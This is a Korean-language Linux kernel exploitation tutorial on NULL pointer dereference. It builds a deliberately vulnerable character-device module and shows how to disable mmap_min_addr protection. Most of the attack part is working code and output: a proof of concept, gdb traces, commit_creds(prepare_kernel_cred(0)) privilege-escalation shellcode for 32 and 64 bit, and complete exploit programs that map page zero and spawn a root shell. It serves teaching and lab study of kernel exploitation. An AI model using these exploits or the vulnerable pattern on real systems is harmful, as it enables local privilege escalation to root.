Excuse the ads! We need some help to keep our site up.

List

Null pointer dereference

  • Null pointer dereference란 프로그램에서 유효한 영역으로 예상되는 포인터(주소영역)을 역참조할 때 발생하는 취약성입니다.
    • 대부분 포인터의 주소가 Null(0x0)일 경우 발생합니다.
    • 이러한 취약성은 C, C++, Java, C#, Objective-C, 등 다양한 프로그래밍 언어에서 발견될 수 있습니다.
  • 해당 취약성에 의해 악용가능한 형태는 대부분 DoS이며, 매우 드문 환경에서 코드 또는 명령어 실행이 가능합니다.

0-address protection

  • 0-address protection은 커널과 사용자 공간이 가상 메모리 주소를 공유하기 때문에 사용자 공간 mmap'd 메모리가 주소 0에서 시작할 수 없도록 "NULL" 메모리 공간을 보호해줍니다.
  • 0-address protection으로 인해 "NULL dereference" 커널 공격을 방어 할 수 있습니다.
  • 0-address protection은 2.6.22 커널에서 가능하며 sysctl 명령어를 이용하여 mmap_min_addr로 보호 영역의 크기를 설정할 수 있습니다.
    • 우분투 9.04 이후, mmap_min_addr 설정은 커널에 내장되어 있습니다. (x86의 경우 64k, ARM의 경우 32k)
The value set for mmap_min_addr.
lazenca0x0@ubuntu:~$ sysctl vm.mmap_min_addr
vm.mmap_min_addr = 65536
lazenca0x0@ubuntu:~$
Disable 0-address protection
lazenca0x0@ubuntu:~$ sudo sysctl -w vm.mmap_min_addr="0"
vm.mmap_min_addr = 0
lazenca0x0@ubuntu:~$

Example

Source code of module

  • 해당 코드는 04.Creating a kernel module to privilege escalation 의 escalation.c 코드를 일부 수정하였으며, 변경된 코드는 다음과 같습니다.
    • Null pointer dereference를 구현하기 위해 포인터 함수를 선언합니다.

      • void (*myFunPtr)(void);

    • 해당 함수는 chardev_write() 함수에서 호출하고 종료됩니다.

      • myFunPtr 함수를 호출하기 전에 해당 함수에 별도의 값이 설정되지 않았기 때문에, myFunPtr함수를 호출하게되면 0x0 영역을 호출하게 됩니다.
chardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>

 
MODULE_LICENSE("Dual BSD/GPL");
 
#define DRIVER_NAME "chardev"
#define BUFFER_SIZE 64
     
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 2;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
 
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);

struct file_operations chardev_fops = {
    .release = chardev_release,
    .write   = chardev_write,
};

struct data {
    unsigned char buffer[BUFFER_SIZE];
};

static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    dev_t dev;
 
    printk("The chardev_init() function has been called.");
     
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
 
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
 
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
 
    device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE);
 
    return 0;
}
 
static void chardev_exit(void)
{
    int minor; 
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
     
    printk("The chardev_exit() function has been called.");
     
    for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) {
        device_destroy(chardev_class, MKDEV(chardev_major, minor));
    }
 
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}
 
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_release() function has been called.");
    if (file->private_data) {
        kfree(file->private_data);
        file->private_data = NULL;
    }
    return 0;
}

void (*myFunPtr)(void);
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    myFunPtr();
    return count;
}

module_init(chardev_init);
module_exit(chardev_exit);

Build & Setting

Makefile
obj-m := chardev.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
make
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ make
make -C /lib/modules/4.2.0-27-generic/build M=/home/lazenca0x0/Kernel/Exploit/Null modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic'
  CC [M]  /home/lazenca0x0/Kernel/Exploit/Null/chardev.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/lazenca0x0/Kernel/Exploit/Null/chardev.mod.o
  LD [M]  /home/lazenca0x0/Kernel/Exploit/Null/chardev.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic'
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ 

Proof of Concept

PoC code

  • 다음 코드를 이용하여 "Null pointer dereference" 취약성을 확인할 수 있습니다.
    • mmap() 함수를 이용하여 0x0 영역에 읽기,쓰기,실행이 가능한 영역을 매핑합니다.
    • memcpy() 함수를 이용하여 0x0 영역에 payload 변수의 값을 복사합니다.
      • payload 변수에는 call 명령어를 이용하여 "0xdeadbeef" 영역을 호출하는 shellcode가 저장되어 있습니다.
    • open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 엽니다.
    • write() 함수를 이용하여 chardev_write() 함수가 호출 되도록 합니다.
test.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\xe8\xea\xbe\xad\xde"; //call 0xdeadbeef

int main(){

    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);

    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }

    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));

    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        close(fd);
    }else{
        printf("Failed to open file.\n");
    }
    
    return 0;
}

Debug

  • chardev_write() 함수의 디버기을 위해 다음과 같이 커널의 주소를 확인합니다.
    • chardev_write() 함수의 주소는 0xf9dac000 입니다.
    • 해당 주소로 Breakpoint를 설정하고 poc 프로그램을 실행합니다.
Address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo cat /proc/kallsyms |grep chardev
f9dac000 t chardev_write	[chardev]
f9dac020 t chardev_release	[chardev]
f9dac060 t chardev_init	[chardev]
f9dae2dc b chardev_major	[chardev]
f9dae2a0 b chardev_cdev	[chardev]
f9dae284 b __key.24587	[chardev]
f9dae284 b chardev_class	[chardev]
f9dac1a0 t chardev_exit	[chardev]
f9dae280 b myFunPtr	[chardev]
f9dae080 d __this_module	[chardev]
f9dae000 d chardev_fops	[chardev]
f9dac1a0 t cleanup_module	[chardev]
f9dac060 t init_module	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
Set Breakpoint
Continuing.
^C
Program received signal SIGINT, Interrupt.
0xc10548d5 in ?? ()
(gdb) b *0xf9dac000
Breakpoint 1 at 0xf9dac000
(gdb) c
Continuing.
Run poc program
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o poc poc.c 
poc.c: In function ‘main’:
poc.c:22:5: warning: null argument where non-null required (argument 1) [-Wnonnull]
     memcpy(0, payload, sizeof(payload));
     ^
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./poc
[*] Mapped zero page.
  • 다음과 같이 "Null pointer dereference" 취약성을 확인할 수 있습니다.

    • chardev_write() 함수가 호출되면 call 명령어에 의해 0xf9dae280 영역에 저장된 주소를 호출합니다.

    • 0xf9dae280 영역에 저장된 값은 0x0 이며, call 명령어에 의해 0x0 영역이 호출됩니다.

    • poc 프로그램에서는 0x0 영역에 call 명령어를 이용하여 0xdeadbeef 영역을 호출하는 shellcode를 저장되어 있으며, 해당 코드는 정상적으로 실행됩니다.

Debug the chardev_write() function.
Breakpoint 1, 0xf9dac000 in ?? ()
(gdb) x/10i $eip
=> 0xf9dac000:	push   ebp
   0xf9dac001:	mov    ebp,esp
   0xf9dac003:	push   ebx
   0xf9dac004:	lea    esi,ds:[esi+eiz*1+0x0]
   0xf9dac009:	mov    ebx,ecx
   0xf9dac00b:	call   DWORD PTR ds:0xf9dae280
   0xf9dac011:	mov    eax,ebx
   0xf9dac013:	pop    ebx
   0xf9dac014:	pop    ebp
   0xf9dac015:	ret    
(gdb) b *0xf9dac00b
Breakpoint 2 at 0xf9dac00b
(gdb) c
Continuing.

Breakpoint 2, 0xf9dac00b in ?? ()
(gdb) x/i $eip
=> 0xf9dac00b:	call   DWORD PTR ds:0xf9dae280
(gdb) x/wx 0xf9dae280
0xf9dae280:	0x00000000
(gdb) si
0x00000000 in irq_stack_union ()
(gdb) x/2i $eip
=> 0x0 <irq_stack_union>:	call   0xdeadbeef
   0x5 <irq_stack_union+5>:	add    BYTE PTR [eax],al
(gdb) si
0xdeadbeef in ?? ()
(gdb) i r eip
eip            0xdeadbeef          0xdeadbeef
(gdb) 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  • 권한상승을 위한 shellcode를 구현합니다.

    • prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.

    • commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.

  • 구현된 shellcode를 0x0 영역에 저장합니다.

  • "Null pointer dereference" 취약성을 이용하여 0x0 영역의 코드를 실행합니다.

  • 유저 프로그램에서 system() 함수를 이용하여 "/bin/sh" 를 실행합니다.

  • 공격을 위해 알아야 할 정보는 다음과 같습니다.
  • prepare_kernel_cred() 함수의 주소
  • commit_creds() 함수의 주소

Find the address of a kernel function

  • 다음과 같이 commit_creds, prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.

Find the address of a kernel function
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep commit_creds /proc/kallsyms
c1082b60 T commit_creds
c19cd2cc R __ksymtab_commit_creds
c19dc868 r __kcrctab_commit_creds
c19e5f9b r __kstrtab_commit_creds
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ sudo grep prepare_kernel_cred /proc/kallsyms
c1082e20 T prepare_kernel_cred
c19d16e4 R __ksymtab_prepare_kernel_cred
c19dea74 r __kcrctab_prepare_kernel_cred
c19e5f5f r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Generate Shellcode - 32bit

  • 다음과 같이 권한 상승 shellcode를 생성할 수 있습니다.
asm.s
//commit_creds(prepare_kernel_cred(0))
xor %eax,%eax
call 0xc1082e20
call 0xc1082b60
ret
  • 다음과 같이 shellcode를 확인할 수 있습니다.
Privilege Escalation Shell Code(32bit)
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ gcc -o asm asm.s -nostdlib -Ttext=0 -N
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000000000
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm

asm:     file format elf32-i386


Disassembly of section .text:

00000000 <__bss_start-0xd>:
   0:	31 c0                	xor    %eax,%eax
   2:	e8 19 2e 08 c1       	call   c1082e20 <_end+0xc1082e10>
   7:	e8 54 2b 08 c1       	call   c1082b60 <_end+0xc1082b50>
   c:	c3                   	ret    
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Generate Shellcode - 64bit

  • 64bit의 경우 32bit와 조금 다른 부분이 있습니다.
    • 첫번째 인자 값인 rdi 값을 초기화 합니다.
    • prepare_kernel_cred() 함수 호출 후 리턴된 값을  rdi레지스터에 저장합니다.
      • xchg %rdi,%rax
asm.s
//commit_creds(prepare_kernel_cred(0))
xor %rdi, %rdi
call 0xffffffff8109da40
xchg %rdi,%rax
call 0xffffffff8109d760
ret
Privilege Escalation Shell Code(64bit)
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ objdump -d asm

asm:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <__bss_start-0x10>:
   0:	48 31 ff             	xor    %rdi,%rdi
   3:	e8 38 da 09 81       	callq  ffffffff8109da40 <__bss_start+0xffffffff8109da30>
   8:	48 97                	xchg   %rax,%rdi
   a:	e8 51 d7 09 81       	callq  ffffffff8109d760 <__bss_start+0xffffffff8109d750>
   f:	c3                   	retq   
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$

Exploit code

32bit

exploit.c
//gcc -static -o exploit exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x31\xc0\xe8\x19\x2e\x08\xc1\xe8\x54\x2b\x08\xc1\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
        system("sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux
# 

64bit

exploit.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

char payload[] = "\x48\x31\xff\xe8\x38\xda\x09\x81\x48\x97\xe8\x51\xd7\x09\x81\xc3";
 
int main(){
 
    char *addr = mmap(0, 4096,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1, 0);
 
    if(addr != 0){
        printf("[*]Unable to map zero page.\n");
        exit(-1);
    }
 
    printf("[*] Mapped zero page.\n");
    memcpy(0, payload, sizeof(payload));
 
    int fd = open("/dev/chardev0", O_WRONLY);
    if(0 < fd){
        write(fd, "AAAA", 4);
		system("/bin/sh");
    }else{
        printf("Failed to open file.\n");
    }
     
    return 0;
}
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/Null$ ./exploit
[*] Mapped zero page.
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
# 

References